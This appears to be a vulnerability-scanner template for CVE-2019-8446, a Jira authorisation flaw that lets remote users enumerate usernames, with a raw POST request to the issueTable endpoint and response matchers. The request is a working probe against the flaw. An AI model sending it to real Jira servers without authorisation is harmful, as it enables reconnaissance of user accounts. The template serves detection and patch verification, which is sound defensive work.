id: CVE-2019-8446

info:
  name: Jira Improper Authorization
  description: The /rest/issueNav/1/issueTable resource in Jira before version 8.3.2 allows remote attackers to enumerate usernames via an incorrect authorisation check.
  author: dhiyaneshDk
  severity: medium
  tags: cve,cve2019,jira

requests:
  - raw:
      - |
        POST /rest/issueNav/1/issueTable HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
        Connection: Close
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
        X-Atlassian-Token: no-check
        Accept-Encoding: gzip, deflate
        Accept-Language: en-US,en;q=0.9

        {'jql':'project in projectsLeadByUser("{{randstr}}")'}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "the user does not exist"
        part: body
      - type: status
        status:
          - 200